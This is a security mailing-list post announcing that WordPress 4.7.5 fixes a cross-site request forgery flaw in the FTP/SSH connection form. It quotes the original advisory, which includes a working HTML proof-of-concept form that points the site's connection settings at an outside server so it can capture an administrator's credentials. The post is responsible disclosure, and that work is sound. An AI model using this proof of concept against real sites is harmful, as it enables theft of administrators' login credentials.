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Date: Wed, 17 May 2017 18:18:55 +0200
From: Summer of Pwnage <lists@...urify.nl>
To: oss-security@...ts.openwall.com
Subject: Re: Cross-Site Request Forgery in WordPress Connection Information
This issue is resolved in WordPress version 4.7.5.
https://wordpress.org/news/2017/05/wordpress-4-7-5/
On 21-04-17 00:30, Summer of Pwnage wrote:
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> Cross-Site Request Forgery in WordPress Connection Information
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> Yorick Koster, July 2016
>
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> Abstract
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> The FTP/SSH form functionality of WordPress was found to be vulnerable
> to Cross-Site Request Forgery. This vulnerability can be used to
> overwrite the FTP or SSH connection settings of the affected WordPress
> site. An attacker can use this issue to trick an Administrator into
> logging into the attacker's FTP or SSH server, disclosing his/her login
> credentials to the attacker. In order to exploit this vulnerability, the
> attacker has to lure/force a logged on WordPress Administrator into
> opening a malicious website.
>
>
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> OVE ID
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> OVE-20160717-0004
>
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> Tested versions
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> This issue was successfully tested on the WordPress [2] version 4.5.3 up
> till and including version 4.7.4.
>
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> Fix
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> There is currently no fix available.
>
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> Introduction
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> WordPress is web software you can use to create a website, blog, or
> app. It was found that the FTP/SSH form functionality is vulnerable to
> Cross-Site Request Forgery. This vulnerability can be used by an
> attacker to overwrite the FTP or SSH connection settings of the affected
> WordPress site. It can be used to trick in an Administrator into login
> into the attacker's FTP or SSH server, disclosing his/her login
> credentials to the attacker.
>
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> Details
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> This issue exists in the method request_filesystem_credentials()
> (/wp-admin/includes/file.php). It allows overwriting of the values:
>
> - hostname
> - username
> - connection_type
>
> The request_filesystem_credentials() method is called in various
> locations in WordPress. The connection information is updated if a POST
> request contains a password or public & private key value (in case of
> connection type ssh). In order to trigger this issue, the WordPress
> installation must not be able to write to the wp-content folder. Also,
> the attacker has to lure/force a logged on WordPress Administrator into
> opening a malicious website.
>
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> Proof of concept
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> <html>
> <body>
> <form action="http://<target>/wp-admin/plugins.php"
> method="POST">
> <input type="hidden" name="hostname" value="sumofpwn.nl" />
> <input type="hidden" name="connection_type" value="ftp" />
> <input type="hidden" name="password" value="password" />
> <input type="submit" value="Submit request" />
> </form>
> </body>
> </html>
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> References
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> [1]
> https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html
> [2] https://wordpress.org/
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> Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
> goal is to contribute to the security of popular, widely used OSS
> projects in a fun and educational way.
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